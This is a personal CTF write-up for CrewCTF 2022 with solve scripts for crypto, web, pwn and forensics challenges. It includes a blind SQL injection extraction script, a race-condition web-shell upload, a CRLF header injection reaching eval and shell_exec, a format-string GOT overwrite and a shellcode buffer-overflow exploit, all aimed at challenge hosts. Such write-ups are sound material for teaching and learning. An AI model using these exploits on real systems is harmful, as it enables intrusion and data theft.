CrewCTF 2022 Writeup
Mon Apr 18 2022
I participated CrewCTF 2022 by myself. The results were 24th/758.
Here are my write-ups for challs I solved.
crypto
matdlp
6 solves
problem.sageFLAG = open('flag.txt', 'r').read().encode() p = 0x3981e7c18d9517254d5063b9f503386e44cd0bd9822710b4709c89fc63ce1060626a6f86b1c76c7cbd41371f6bf61dd8216f4bc6bad8b02a6cd4b99fe1e71b5d9ffc761eace4d02d737e5d4bf2c07ff7 m = 6 import random from hashlib import sha256 from Crypto.Cipher import AES from Crypto.Util import Padding K = GF(p) matspace = MatrixSpace(K, m) while(True): U = matspace.random_element() if U.determinant() != 0: break print('U={}'.format(U.list())) while(True): l1, l2, l3 = K.random_element(), K.random_element(), K.random_element() X = matrix(K, m, m, [l1,0,0,0,0,0]+[0,l2,1,0,0,0]+[0,0,l2,0,0,0]+[0,0,0,l3,1,0]+[0,0,0,0,l3,1]+[0,0,0,0,0,l3]) if U*X != X*U: break print('X={}'.format(X.list())) def genkey(): t = random.randint(1, p-1) s = random.randint(1, p-1) Us = U**s privkey = (t, s) pubkey = Us * (X**t) * Us.inverse() return (privkey, pubkey) alicekey = genkey() bobkey = genkey() print('alice_pubkey={}'.format(alicekey[1].list())) print('bob_pubkey={}'.format(bobkey[1].list())) alice_Us = (U**alicekey[0][1]) bob_Us = (U**bobkey[0][1]) sharedkey_a = alice_Us * (bobkey[1]**alicekey[0][0]) * alice_Us.inverse() sharedkey_b = bob_Us * (alicekey[1]**bobkey[0][0]) * bob_Us.inverse() assert sharedkey_a == sharedkey_b aeskey = sha256(b''.join([int.to_bytes(int(sharedkey_a[i][j]), length=80, byteorder='big') for i in range(m) for j in range(m)])).digest() cipher = AES.new(aeskey, AES.MODE_CBC, iv=b'\x00'*16) ciphertext = cipher.encrypt(Padding.pad(FLAG, 16)) print('ciphertext=0x{}'.format(ciphertext.hex()))
This is a challenge related to DH using matrices. We are given two base matrices and two public keys (let alice_pubkey, bob_pubkey be ). You should find private keys , or , to calculate sharedkey. It seems like a conjugacy search problem.
I took two steps below to find sharedkey.
- find
- find
find The eigenvalues of equal to the eigenvalues of to the power . On top of that, the eigenvalues of and are the same in general. Due to the properties above, the eigenvalues of equal to the eigenvalues of to the power . Therefore we can find by solving DLP, because is a smooth number.
order0 = X[0, 0].multiplicative_order() order1 = X[1, 1].multiplicative_order() order2 = X[3, 3].multiplicative_order() def find_t(pubkey): eigenvalues = pubkey.eigenvalues() tmp0 = eigenvalues[0].log(X[0, 0]) tmp1 = eigenvalues[1].log(X[1, 1]) tmp2 = eigenvalues[3].log(X[3, 3]) t = crt([tmp0, tmp1, tmp2], [order0, order1, order2]) return t ta = find_t(alice_pubkey) tb = find_t(bob_pubkey)
find I tried first to solve directly. I defined and solve . But it failed possibly because lacks information that it is to the power .
To embed this information, I checked the characteristic polynomial of .
sage: factor(U.charpoly()) (x + 272156912070708902725843677542819583556667619603268850202634108624245601311771692742378899858810772332787126040705365519917638656618482092552423506234554591846471594622748509200598843905671422) * (x^5 + 155371083189422565269288233359448399667840697703600886722606579238132932391518274203205223547451492080432165522309976517064390115465996469027219303477376469238251468826608291798316822543456162*x^4 + 446753382480846116612393146760884954896121765071456225770279819858746245688380960364705867209066907602521303662237029022257593644622408423829343861316929069374186865583338945701913341346187234*x^3 + 76369017873880886583744573636703029579949354962100059238617674762095486442512233112266228068686561188798118781108370753062614496741029381039776887096361492171340174931842015041750530633077923*x^2 + 169838414808650870217114129164492603681348790521284629393131915612694041945967484393014350465542284542747172527757447691072675392371501332304797080004149690284049125468289443535532256793387693*x + 195293538849425528366183244789502263062210742639752849745671804494941444950329646833491144197025980136293117724127586794827053060018161405989795240061361737882403777125590806024627122823324175)
This implies that can be transformed to a matrix below by a certain :
g = factor(U.charpoly())[0][0] e = -g[0] x = (U - e).right_kernel_matrix()[0] assert U * x == e * x P = matrix(GF(p), [x, [0, 1, 0, 0, 0, 0], [0, 0, 1, 0, 0, 0], [0, 0, 0, 1, 0, 0], [0, 0, 0, 0, 1, 0], [0, 0, 0, 0, 0, 1]]).transpose() assert (U * P[:, 0]).T.list() == (e * x).list() assert (~P)[0, 0] == x[0]**-1 for i in range(1, 6): assert (~P)[i, 0] == -x[i] * x[0]**-1 J = ~P * U * P for i in range(1, 6): assert J[i, 0] == 0
So I could modify into . Then I found by linear algebra and .
from hashlib import sha256 from Crypto.Cipher import AES from Crypto.Util.number import long_to_bytes def to_list(x): mat = [] for i in range(x.nrows()): row = [] for j in range(x.ncols()): row.append(x[i, j]) mat.append(row) return mat def matmul(x, y): mat = [] assert len(x[0]) == len(y) K = len(x[0]) for i in range(len(x)): row = [] for j in range(len(y[0])): res = 0 for k in range(K): res += x[i][k] * y[k][j] row.append(res) mat.append(row) return mat PR = PolynomialRing(GF(p), names=[f"a{i}" for i in range(31)]) a_list = list(PR.gens()) Js = [ a_list[:6], [0] + a_list[6:11], [0] + a_list[11:16], [0] + a_list[16:21], [0] + a_list[21:26], [0] + a_list[26:31], ] # ~P * pubkey * P * Js == Js * ~P * X**t * P lhs = matmul(to_list(~P * alice_pubkey * P), Js) rhs = matmul(Js, to_list(~P * X**ta * P)) polys = [] for i in range(6): for j in range(6): polys.append(lhs[i][j] - rhs[i][j]) I = Ideal(polys) G = I.groebner_basis() a_list = [] for i in range(len(G)): g = G[i] c = g.coefficients()[1] a_list.append(-c % p) a_list.append(1) Js = matrix(GF(p), [ a_list[:6], [0] + a_list[6:11], [0] + a_list[11:16], [0] + a_list[16:21], [0] + a_list[21:26], [0] + a_list[26:31], ]) assert J * ~P * X**ta * P * ~J == ~P * alice_pubkey * P Usa = P * J * ~P sharedkey_a = Usa * bob_pubkey ** ta * ~Usa aeskey = sha256(b''.join([int.to_bytes(int(sharedkey_a[i][j]), length=80, byteorder='big') for i in range(m) for j in range(m)])).digest() cipher = AES.new(aeskey, AES.MODE_CBC, iv=b'\x00'*16) print(cipher.decrypt(long_to_bytes(ciphertext)))
crew{dl_pr0bl3m_0n_f1n173_f13ld_15_3553n714l_70_4n07h3r_w0rld}
signsystem
8 solves
server.pyimport sys import random from hashlib import sha256 from Crypto.Util.number import inverse import ecdsa from secret import FLAG curve = ecdsa.curves.SECP112r1 p = int(curve.curve.p()) G = curve.generator n = int(curve.order) class SignSystem: def __init__(self): self.key = ecdsa.SigningKey.generate(curve=curve) self.nonce = [random.randint(1, n-1) for _ in range(112)] def sign(self, msg): e = int.from_bytes(sha256(msg).digest(), 'big') % n h = bin(e)[2:].zfill(112) k = sum([int(h[i])*self.nonce[i] for i in range(112)]) % n r = int((k * G).x()) % n s = inverse(k, n) * (e + r * self.key.privkey.secret_multiplier) % n return (int(r), int(s)) def verify(self, msg, sig): (r, s) = sig e = int.from_bytes(sha256(msg).digest(), 'big') if s == 0: return False w = inverse(s, n) u1 = e*w % n u2 = r*w % n x1 = int((u1*G + u2*self.key.privkey.public_key.point).x()) % n return (r % n) == x1 if __name__ == '__main__': HDR = 'Welcome to sign system.' print(HDR) MENU = "1:sign\n2:verify\n3:getflag\n" S = SignSystem() try: while(True): print('') print(MENU) i = int(input('>> ')) if i == 1: msghex = input('msg(hex): ') sig = S.sign(bytes.fromhex(msghex)) print(f'signature: ({hex(sig[0])}, {hex(sig[1])})') elif i == 2: msghex = input('msg(hex): ') sig0hex = input('sig[0](hex): ') sig1hex = input('sig[1](hex): ') result = S.verify(bytes.fromhex(msghex), (int(sig0hex, 16), int(sig1hex, 16))) if result: print('Verification success.') else: print('Verification failed.') elif i == 3: target = random.randint(2**511, 2**512-1) print(f'target: {hex(target)}') sig0hex = input('sig[0](hex): ') sig1hex = input('sig[1](hex): ') result = S.verify(bytes.fromhex(hex(target)[2:]), (int(sig0hex, 16), int(sig1hex, 16))) if result: print('OK, give you a flag.') print(FLAG.decode()) break else: print('NG.') break except KeyboardInterrupt: print('bye') sys.exit(0) except: print('error occured') sys.exit(-1)
This is a challenge related to ECDSA. (I first tried since it doesn't check . But it failed.)
Let SignSystem.nonce be , i-th signature be and i-th message hash be . We can describe . Then . Since we know , we can find by linear algebra if we get more than or equal to 113 independent equations.
solve.sageimport random import re from hashlib import sha256 from Crypto.Util.number import inverse, long_to_bytes from tqdm import tqdm from pwn import remote a = 4451685225093714772084598273548424 b = 2061118396808653202902996166388514 p = 4451685225093714772084598273548427 EC = EllipticCurve(GF(p), [a, b]) G = EC(188281465057972534892223778713752, 3419875491033170827167861896082688) n = int(4451685225093714776491891542548933) class SignSystem: def __init__(self): self.d = random.randint(1, n-1) self.nonce = [random.randint(1, n-1) for _ in range(112)] def sign(self, msg): e = int.from_bytes(sha256(msg).digest(), 'big') % n h = bin(e)[2:].zfill(112) k = sum([int(h[i])*self.nonce[i] for i in range(112)]) % n r = int((int(k) * G).xy()[0]) % n s = inverse(k, n) * (e + r * self.d) % n return (int(r), int(s)) def verify(self, msg, sig): (r, s) = sig e = int.from_bytes(sha256(msg).digest(), 'big') if s == 0: return False w = inverse(s, n) u1 = e*w % n u2 = r*w % n x1 = int((u1*G + u2*self.d*G).xy()[0]) % n return (r % n) == x1 io = remote("signsystem.crewctf-2022.crewc.tf", 1337) def sign(msg): io.sendlineafter(b">> ", b"1") io.sendlineafter(b"msg(hex): ", msg.hex()) ret = io.recvline().strip().decode() r, s = map(lambda x: int(x, 16), re.findall(r"signature: \((.*), (.*)\)", ret)[0]) return r, s e_list = [] h_list = [] r_list = [] s_list = [] for i in tqdm(range(113)): msg = long_to_bytes(i) e = int.from_bytes(sha256(msg).digest(), 'big') % n h = bin(e)[2:].zfill(112) r, s = sign(msg) e_list.append(e) h_list.append(h) r_list.append(r) s_list.append(s) mat = matrix(GF(n), 113, 113) target = vector(GF(n), 113) for i in range(113): e = e_list[i] s = s_list[i] r = r_list[i] for j in range(112): mat[i, j] = int(h_list[i][j]) mat[i, 112] = -pow(s, -1, n) * r target[i] = pow(s, -1, n) * e res = mat.solve_right(target) S = SignSystem() S.d = res.change_ring(ZZ).list()[-1] S.nonce = res.change_ring(ZZ).list()[:112] io.sendlineafter(b">> ", b"3") io.recvuntil(b"target: ") target = long_to_bytes(int(io.recvline().strip().decode(), 16)) r, s = S.sign(target) io.sendlineafter(b"sig[0](hex): ", long_to_bytes(r).hex()) io.sendlineafter(b"sig[1](hex): ", long_to_bytes(s).hex()) print(io.recvline()) print(io.recvline()) io.close()
crew{w3_533_7h3_p0w3r_0f_l1n34r_4l63br4}
delta
15 solves
problem.pyfrom Crypto.Util.number import bytes_to_long, getRandomNBitInteger from Crypto.PublicKey import RSA from Crypto.Cipher import PKCS1_OAEP from Crypto.Hash import SHA256 from flag import FLAG key = RSA.generate(1024) p = key.p q = key.q n = key.n if p > q: p, q = q, p e = key.e cipher = PKCS1_OAEP.new(key=key,hashAlgo=SHA256) c = bytes_to_long(cipher.encrypt(FLAG)) delta = getRandomNBitInteger(64) x = p**2 + 1337*p + delta val = (pow(2,e,n)*(x**3) + pow(3,e,n)*(x**2) + pow(5,e,n)*x + pow(7,e,n)) % n print('n=' + str(n)) print('e=' + str(e)) print('c=' + str(c)) print('val=' + str(val))
Considering instead of , you can find that val is a cubic equation with regard to delta. Since delta is small enough, it can be calculated by Coppersmith's method.
After delta is found, val can be described as a sixth degree equation with regard to . Since val equals to in , the constant term of val should be a multiple of . Therefore you can find by calculating gcd of the constant and .
solve.sagefrom Crypto.PublicKey import RSA from Crypto.Cipher import PKCS1_OAEP from Crypto.Hash import SHA256 from Crypto.Util.number import long_to_bytes n = 141100651008173851466795684636324450409238358207191893767666902216680426313633075955718286598033724188672134934209410772467615432454991738608692590241240654619365943145665145916032591750673763981269787196318669195238077058469850912415480579793270889088523790675069338510272116812307715222344411968301691946663 e = 65537 c = 115338511096061035992329313881822354869992148130629298132719900320552359391836743522134946102137278033487970965960461840661238010620813848214266530927446505441293867364660302604331637965426760460831021145457230401267539479461666597608930411947331682395413228540621732951917884251567852835625413715394414182100 val = 55719322748654060909881801139095138877488925481861026479419112168355471570782990525463281061887475459280827193232049926790759656662867804019857629447612576114575389970078881483945542193937293462467848252776917878957280026606366201486237691429546733291217905881521367369936019292373732925986239707922361248585 PR.<delta> = PolynomialRing(Zmod(n)) f = (pow(2,e,n)*(delta**3) + pow(3,e,n)*(delta**2) + pow(5,e,n)*delta + pow(7,e,n)) - val f = f.monic() delta = f.small_roots(beta=0.49, delta=1/3, epsilon=0.015)[0] PR.<p> = PolynomialRing(Zmod(n)) x = p**2 + 1337*p + delta f = (pow(2,e,n)*(x**3) + pow(3,e,n)*(x**2) + pow(5,e,n)*x + pow(7,e,n)) - val p = int(gcd(f[0], n)) assert n % p == 0 q = n // p e = 0x10001 phi = (p - 1) * (q - 1) d = int(pow(e, -1, phi)) rsa = RSA.construct((int(n), int(e), d)) cipher = PKCS1_OAEP.new(key=rsa, hashAlgo=SHA256) cipher.decrypt(long_to_bytes(int(c)))
crew{m0dp_3qu4710n_l34d5_u5_f4c70r1n6}
toydl
36 solves
We are given some pairs of such that . If we can find factors of , we get a flag.
I paid attention to and . This means that . Then .
solve.pyfrom Crypto.Util.number import long_to_bytes n = 9099069576005010864322131238316022841221043338895736227456302636550336776171968946298044005765927235002236358603510713249831486899034262930368203212096032559091664507617383780759417104649503558521835589329751163691461155254201486010636703570864285313772976190442467858988008292898546327400223671343777884080302269 c = 7721448675656271306770207905447278771344900690929609366254539633666634639656550740458154588923683190330091584419635454991419701119568903552077272516472473602367188377791329158090763546083264422552335660922148840678536264063681459356778292303287448582918945582522946194737497041408425657842265913159282583371732459 """ pow(2, x, n) = 3 x->4152237283178332171134427748246949134982804474039336295768576937291496455801204299012426384686186488437732239040578895582345754862866682517210666664694634622481210828533924801356654788767923906990970085179367631860096183689780636009399349964086944154244464319415042044821978154315541151745635117768984279951229194 pow(2, x, n) = 9 x->3754939778354158910107789877335886849355087278630804477809002556307824523516424124875830766489409359374346298779402434539775766276216233569237231723341252968455894584408143678496101610613389877101646294181565422615598678053423609327485531311004778211836628609338110226534895570202818439605250908707603466887326390 """ phi = 2 * 4152237283178332171134427748246949134982804474039336295768576937291496455801204299012426384686186488437732239040578895582345754862866682517210666664694634622481210828533924801356654788767923906990970085179367631860096183689780636009399349964086944154244464319415042044821978154315541151745635117768984279951229194 - 3754939778354158910107789877335886849355087278630804477809002556307824523516424124875830766489409359374346298779402434539775766276216233569237231723341252968455894584408143678496101610613389877101646294181565422615598678053423609327485531311004778211836628609338110226534895570202818439605250908707603466887326390 assert phi < n e = 65537 d = int(pow(e, -1, phi)) long_to_bytes(int(pow(c, d, n)))
crew{d15cr373_l06_15_r3duc710n_f0r_f4c70r1n6}
Malleable Metal
57 solves
chal.sagefrom Crypto.PublicKey import RSA from Crypto.Util.number import bytes_to_long import random import binascii from secret import flag e = 3 BITSIZE = 8192 key = RSA.generate(BITSIZE) n = key.n flag = bytes_to_long(flag) m = floor(BITSIZE/(e*e)) - 400 assert (m < BITSIZE - len(bin(flag)[2:])) r1 = random.randint(1,pow(2,m)) r2 = random.randint(r1,pow(2,m)) msg1 = pow(2,m)*flag + r1 msg2 = pow(2,m)*flag + r2 C1 = Integer(pow(msg1,e,n)) C2 = Integer(pow(msg2,e,n)) print(f'{n = }\n{C1 = }\n{C2 = }')
Since msg1 and msg2 is almost the same, you can decrypt it by Coppersmith’s Short Pad Attack and Franklin-Reiter Related Message Attack. The script refers to here.
solve.sagefrom Crypto.Util.number import bytes_to_long, long_to_bytes e = 3 BITSIZE = 8192 m = floor(BITSIZE/(e*e)) - 400 def short_pad_attack(c1, c2, e, n): PRxy.<x,y> = PolynomialRing(Zmod(n)) PRx.<xn> = PolynomialRing(Zmod(n)) PRZZ.<xz,yz> = PolynomialRing(Zmod(n)) g1 = x^e - c1 g2 = (x+y)^e - c2 q1 = g1.change_ring(PRZZ) q2 = g2.change_ring(PRZZ) h = q2.resultant(q1) h = h.univariate_polynomial() h = h.change_ring(PRx).subs(y=xn) h = h.monic() kbits = n.nbits()//(2*e*e) diff = h.small_roots(X=2^m, beta=0.5)[0] return diff def related_message_attack(c1, c2, diff, e, n): PRx.<x> = PolynomialRing(Zmod(n)) g1 = x^e - c1 g2 = (x+diff)^e - c2 def gcd(g1, g2): while g2: g1, g2 = g2, g1 % g2 return g1.monic() return -gcd(g1, g2)[0] diff = short_pad_attack(C1, C2, e, n) m1 = related_message_attack(C1, C2, diff, e, n) long_to_bytes(int(int(m1) // 2**m))
crew{l00ks_l1k3_y0u_h4v3_you_He4rd_0f_c0pp3rsm1th_sh0r+_p4d_4tt4ck_th4t_w45n't_d1ff1cult_w4s_it?}
The HUGE e
63 solves
chall.pyfrom Crypto.Util.number import getPrime, bytes_to_long, inverse, isPrime from secret import flag m = bytes_to_long(flag) def getSpecialPrime(): a = 2 for i in range(40): a*=getPrime(20) while True: b = getPrime(20) if isPrime(a*b+1): return a*b+1 p = getSpecialPrime() e1 = getPrime(128) e2 = getPrime(128) e3 = getPrime(128) e = pow(e1,pow(e2,e3)) c = pow(m,e,p) assert pow(c,inverse(e,p-1),p) == m print(f'p = {p}') print(f'e1 = {e1}') print(f'e2 = {e2}') print(f'e3 = {e3}') print(f'c = {c}')
Since is prime, pow(e1, ...) is calculated in . Then pow(e2, e3) should be calculated in . is very smooth and we can calculate easily.
solve.sagefrom Crypto.Util.number import long_to_bytes p = 127557933868274766492781168166651795645253551106939814103375361345423596703884421796150924794852741931334746816404778765897684777811408386179315837751682393250322682273488477810275794941270780027115435485813413822503016999058941190903932883823 e1 = 219560036291700924162367491740680392841 e2 = 325829142086458078752836113369745585569 e3 = 237262361171684477270779152881433264701 c = 962976093858853504877937799237367527464560456536071770645193845048591657714868645727169308285896910567283470660044952959089092802768837038911347652160892917850466319249036343642773207046774240176141525105555149800395040339351956120433647613 phi = 1 for pi, e in factor(p - 1): assert e == 1 phi *= pi - 1 e2_e3 = Integer(pow(e2, e3, phi)) e = int(pow(e1, e2_e3, p - 1)) d = int(pow(e, -1, p - 1)) m = int(pow(c, d, p)) long_to_bytes(m)
crew{7hi5_1s_4_5ma11er_numb3r_7han_7h3_Gr4ham_numb3r}
ez-x0r
249 solves
Since we know the prefix of the flag, crew. xor(enc, "crew") is ffff, which implies that the flag is encrypted by xor-ing ffff....
solve.pyfrom base64 import b64decode from pwn import xor enc = b"BRQDER1VHDkeVhQ5BRQfFhIJGw==" xor(b64decode(enc), b"f")
web
Marvel Pick & Marvel Pick Again
31 solves
First I suspected that this challenge is related to NoSQL injection. So I tried some payloads like /api.php?character[$regex]=*, but it didn't work at all. After that I luckily found that /api.php?character=' broke something. This is a SQL injection challenge (I should have realized this ealier).
After some experiments, I found something below:
- some symbol characters are erased
- /api.php?character=a' UNION SELECT 1,'1 returns 1
- it returns the number of records
- /api.php?character=a' UNION SELECT null,sql FROM sqlite_master WHERE name LIKE 'YOUR_INPUT%
- DB is sqlite
- there are two tables, character and flags
- /api.php?character=a' UNION SELECT null,name FROM pragma_table_info('flags') WHERE name LIKE 'YOUR_INPUT%
- there are some columns, id and value
- /api.php?character=a' UNION SELECT null,value FROM flags WHERE SUBSTR(value,YOUR_INPUT,1) > 'YOUR_INPUT
- this reveals flag characters one by one
Here is a script to get the flag.
solve.pyimport json import requests url_template = "http://34.126.83.114:3390/api.php?character=a' UNION SELECT null,value FROM flags WHERE SUBSTR(value,{idx},1) > '{c}" flag = "crew" for idx in range(len(flag), 100): for i in range(33, 128): c = chr(i) if c in " '#*&%-/;=": continue print(idx, c) tmp_url = url_template.format(c=c, idx=idx+1) r = requests.get(tmp_url) count = json.loads(r.text)["data"]["vote_count"] print(c, count) if count == 0: break flag += chr(i) print(flag)
This works for two challenges. But I missed the second flag because I didn't realized the second challenge had been added and it was too late when I realized😢
crew{so_its_n0t_on3_line_for_exp}
crew{y3sss_y0u_g0t_m3_h1_1_st4rn_n_n1n0}
Uploadz
41 solves
index.php<?php function create_temp_file($temp,$name){ $file_temp = "storage/app/temp/".$name; copy($temp,$file_temp); return $file_temp; } function gen_uuid($length=6) { $keys = array_merge(range('a', 'z'), range('A', 'Z')); for($i=0; $i < $length; $i++) { $key .= $keys[array_rand($keys)]; } return $key; } function move_upload($source,$des){ $name = gen_uuid(); $des = "storage/app/uploads/".$name.$des; copy($source,$des); sleep(1);// for loadblance and anti brute unlink($source); return $des; } if (isset($_FILES['uploadedFile'])) { // get details of the uploaded file $fileTmpPath = $_FILES['uploadedFile']['tmp_name']; $fileName = basename($_FILES['uploadedFile']['name']); $fileNameCmps = explode(".", $fileName); $fileExtension = strtolower(end($fileNameCmps)); $dest_path = $uploadFileDir . $newFileName; $file_temp = create_temp_file($fileTmpPath, $fileName); echo "your file in ".move_upload($file_temp,$fileName); } if(isset($_GET["clear_cache"])){ system("rm -r storage/app/uploads/*"); } ?> <form action="/" method="post" enctype="multipart/form-data"> Select image to upload: <input type="file" name="uploadedFile" id="fileToUpload"> <input type="submit" value="Upload Image" name="submit"> </form>
The flag is at /flag.txt
At first I suspected directory traversal. But it seemed difficult because they used basename. Next I tried uploading php file and execute it, but it didn't work because of the configuration of .htaccess.
After some googling, I found that .htaccess can be put in each directory. It enables us to execute php. In this challenge, uploaded files are put into "storage/app/uploads/".$name.$des, where $name is random characters. It seems impossible to put .htaccess from a quick glance. But the files are temporaliry put into "storage/app/temp/".$name (1 second), where $name is uploaded file name. This means that we can put .htaccess at storage/app/temp/. I used .htaccess and a.shell from this writeup and accessed to /storage/app/temp/a.shell?cmd=cat /flag.txt.
run.bash#/bin/bash python3 upload_htaccess.py & python3 upload_shell.py & for i in $(seq 1 10); do python3 exec.py & done
upload_htaccess.pyimport requests url = "https://uploadz-web.crewctf-2022.crewc.tf/" fp = open(".htaccess", "rb") files = {"uploadedFile": fp} r = requests.post(url, files=files) print(r.text) fp.close()
upload_shell.pyimport requests url = "https://uploadz-web.crewctf-2022.crewc.tf/" fp = open("a.shell", "rb") files = {"uploadedFile": fp} r = requests.post(url, files=files) print(r.text) fp.close()
exec.pyimport requests url = "https://uploadz-web.crewctf-2022.crewc.tf" r = requests.get(url + "/storage/app/temp/a.shell?cmd=cat /flag.txt") print(r.text)
crewctf{upload_rce_via_race}
CuaaS
90 solves
index.php<html> <head> <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css" integrity="sha384-Gn5384xqQ1aoWXA+058RXPxPg6fy4IWvTNh0E263XmFcJlSAwiGgFAW/dAiS6JXm" crossorigin="anonymous"> <title>CuaaS</title> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <style type="text/css"> html, body, .container { height: 100%; } .container { display: table; vertical-align: middle; } .vertical-center-row { display: table-cell; vertical-align: middle; } </style> </head> <body> <center> <div class="container"> <div class="vertical-center-row"> <h1>Clean url as a Service</h1> <form method="post"> <label class="sr-only" for="inlineFormInputGroupUsername2">Link</label> <div class="input-group mb-2 mr-sm-2 col-sm-5"> <div class="input-group-prepend"> <div class="input-group-text">URL</div> </div> <input type="text" class="form-control " id="inlineFormInputGroupUsername2" name="url" placeholder="https://www.example.tld/cleanmepls?name=joe&age=13&address=very-very-very-long-string"> </div> <div class="col-auto"> <button type="submit" class="btn btn-primary mb-2">Clean</button> </div> <?php if($_SERVER['REQUEST_METHOD'] == "POST" and isset($_POST['url'])) { clean_and_send($_POST['url']); } function clean_and_send($url){ $uncleanedURL = $url; // should be not used anymore $values = parse_url($url); $host = explode('/',$values['host']); $query = $host[0]; $data = array('host'=>$query); $cleanerurl = "http://127.0.0.1/cleaner.php"; $stream = file_get_contents($cleanerurl, true, stream_context_create(['http' => [ 'method' => 'POST', 'header' => "X-Original-URL: $uncleanedURL", 'content' => http_build_query($data) ] ])); echo $stream; } ?> </form> </div> </div> </center> </body> </html>
cleaner.php<?php if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1"){ die("<img src='https://imgur.com/x7BCUsr.png'>"); } echo "<br>There your cleaned url: ".$_POST['host']; echo "<br>Thank you For Using our Service!"; function tryandeval($value){ echo "<br>How many you visited us "; eval($value); } foreach (getallheaders() as $name => $value) { if ($name == "X-Visited-Before"){ tryandeval($value); }} ?>
In cleaner.php, we can call any eval if we set header X-Visited-Before. php manual says we can set multiple headers by separating them with new lines in stream_context_create. I post url=http://localhost%0D%0AX-Visited-Before:echo shell_exec("ls -l /"); and found /maybethisistheflag. Then I post url=http://localhost%0D%0AX-Visited-Before:var_dump(file_get_contents("/maybethisistheflag")); and got the flag.
crew{crlF_aNd_R357r1C73D_Rc3_12_B0R1nG}
pwn
Ubume
60 solves
checksec result:
Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
Ghidra decompiler result:
void main(void) { long in_FS_OFFSET; char local_228 [536]; undefined8 local_10; local_10 = *(undefined8 *)(in_FS_OFFSET + 0x28); ignore_me(); puts("Haven\'t we met before?"); read(0,local_228,0x200); printf(local_228); /* WARNING: Subroutine does not return */ exit(0); } void win(void) { puts("I Knew it. We\'ve met before."); system("/bin/sh"); return; }
There is win function to execute /bin/sh.
This is a simple challenge related to format string attack.
solve.pyfrom pwn import * elf = ELF("./chall") io = remote("ubume.crewctf-2022.crewc.tf", 1337) addr_win = 0x40070a def make_payload(address): payload = b"" # __libc_start_main ret addr から libc address の leak payload += b"%75$016lx" # rsp は6番目 (なぜなら rsi, rdx, rcx, r8, r9, rsp だから) で、 rbp+0x8 は 75番目 n = 16 # 最初 __libc_start_main の return address の表示に16文字消費 print("target address", hex(address)) # buf+0x80 に書き込むアドレスを置くことにする # これは22番目に対応 for i in range(8): t = ((address % 0x100) - n) % 256 if t == 0: t += 256 # t = (address % 0x100) - n % 256 # if t <= 1: # t += 256 payload += f"%{t}c%{22+i}$hhn".encode() address //= 256 n += t assert 0x80 - len(payload) >= 0 payload += b"A" * (0x80 - len(payload)) addr_got_exit = elf.got["exit"] for i in range(8): payload += p64(addr_got_exit + i) print(payload) return payload payload = make_payload(addr_win) io.recvline() io.send(payload) io.interactive()
crew{format_string_aattack_f0r_0verr1ding_GOT_!!!}
Wiznu
69 solves
checksec result:
Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX disabled PIE: PIE enabled RWX: Has RWX segments
Ghidra decompiler result:
undefined8 main(EVP_PKEY_CTX *param_1) { undefined local_108 [256]; ignore_me(); init(param_1); printf("Special Gift for Special Person : %p\n",local_108); printf("> "); read(0,local_108,0x120); return 0; } int init(EVP_PKEY_CTX *ctx) { int iVar1; undefined8 uVar2; uVar2 = seccomp_init(0); seccomp_rule_add(uVar2,0x7fff0000,2,0); seccomp_rule_add(uVar2,0x7fff0000,0,0); seccomp_rule_add(uVar2,0x7fff0000,1,0); iVar1 = seccomp_load(uVar2); return iVar1; }
Since the binary is NX disabled, there is a BOF vuln and we know the stack address, we can write shellcode and jump to it by writing stack address to return address. But seccomp in init only allows read, write and open. Therefore I called fp = open("flag"), read(fp, $rsp, 50) and write(1, $rsp, 50) in order.
solve.pyfrom pwn import * elf = ELF("./chall") context.binary = elf io = remote("wiznu.crewctf-2022.crewc.tf", 1337) io.recvuntil(b"Special Gift for Special Person : ") addr_stack = int(io.recvline().strip().decode(), 16) print(f"{addr_stack = :#x}") shellcode = asm(shellcraft.open("flag")) shellcode += asm(shellcraft.read("rax", "rsp", 50)) shellcode += asm(shellcraft.write(1, "rsp", 50)) payload = shellcode.ljust(256+8, b"A") + p64(addr_stack) print(payload) io.sendlineafter(b"> ", payload) io.interactive()
crew{ORW_come_to_the_rescue_st4rn_h3r3!}
forensics
Corrupted
191 solves
Many As are embedded at the begining and end of Corrupted.001. I removed them by hand. After that, file header worked correctly.
$ file Corrupted.001.fix Corrupted.001.fix: DOS/MBR boot sector, code offset 0x52+2, OEM-ID "NTFS ", sectors/cluster 8, Media descriptor 0xf8, sectors/track 63, heads 255, hidden sectors 81836032, dos < 4.0 BootSector (0x80), FAT (1Y bit by descriptor); NTFS, sectors/track 63, sectors 102399, $MFT start cluster 4266, $MFTMirror start cluster 2, bytes/RecordSegment 2^(-1*246), clusters/index block 1, serial number 058fe49e9fe49c04c; contains bootstrap BOOTMGR
$ fls -r Corrupted.001.fix r/r 4-128-1: $AttrDef r/r 8-128-2: $BadClus r/r 8-128-1: $BadClus:$Bad r/r 6-128-4: $Bitmap r/r 7-128-1: $Boot d/d 11-144-4: $Extend + d/d 29-144-2: $Deleted + r/r 25-144-2: $ObjId:$O + r/r 24-144-3: $Quota:$O + r/r 24-144-2: $Quota:$Q + r/r 26-144-2: $Reparse:$R + d/d 27-144-2: $RmMetadata ++ r/r 28-128-4: $Repair ++ r/r 28-128-2: $Repair:$Config ++ d/d 31-144-2: $Txf ++ d/d 30-144-2: $TxfLog +++ r/r 32-128-2: $Tops +++ r/r 32-128-4: $Tops:$T +++ r/r 33-128-1: $TxfLog.blf +++ r/r 34-128-1: $TxfLogContainer00000000000000000001 +++ r/r 35-128-1: $TxfLogContainer00000000000000000002 r/r 2-128-1: $LogFile r/r 0-128-6: $MFT r/r 1-128-1: $MFTMirr d/d 51-144-1: $RECYCLE.BIN + d/d 52-144-1: S-1-5-21-523540568-1582187581-798654756-1000 ++ r/r 53-128-1: desktop.ini r/r 9-128-8: $Secure:$SDS r/r 9-144-11: $Secure:$SDH r/r 9-144-14: $Secure:$SII r/r 10-128-1: $UpCase r/r 10-128-4: $UpCase:$Info r/r 3-128-3: $Volume r/r 49-128-1: 0xSh3rl0ck.jpeg d/d 39-144-5: pictures + r/r 40-128-1: Capture (1).PNG + r/r 41-128-1: Screenshot (1).png + r/r 42-128-1: Screenshot (12).png + r/r 43-128-1: Screenshot (13).png + r/r 44-128-1: Screenshot (14).png + r/r 45-128-1: Screenshot (15).png + r/r 46-128-1: Screenshot (2).png + r/r 47-128-1: Screenshot (23).png + 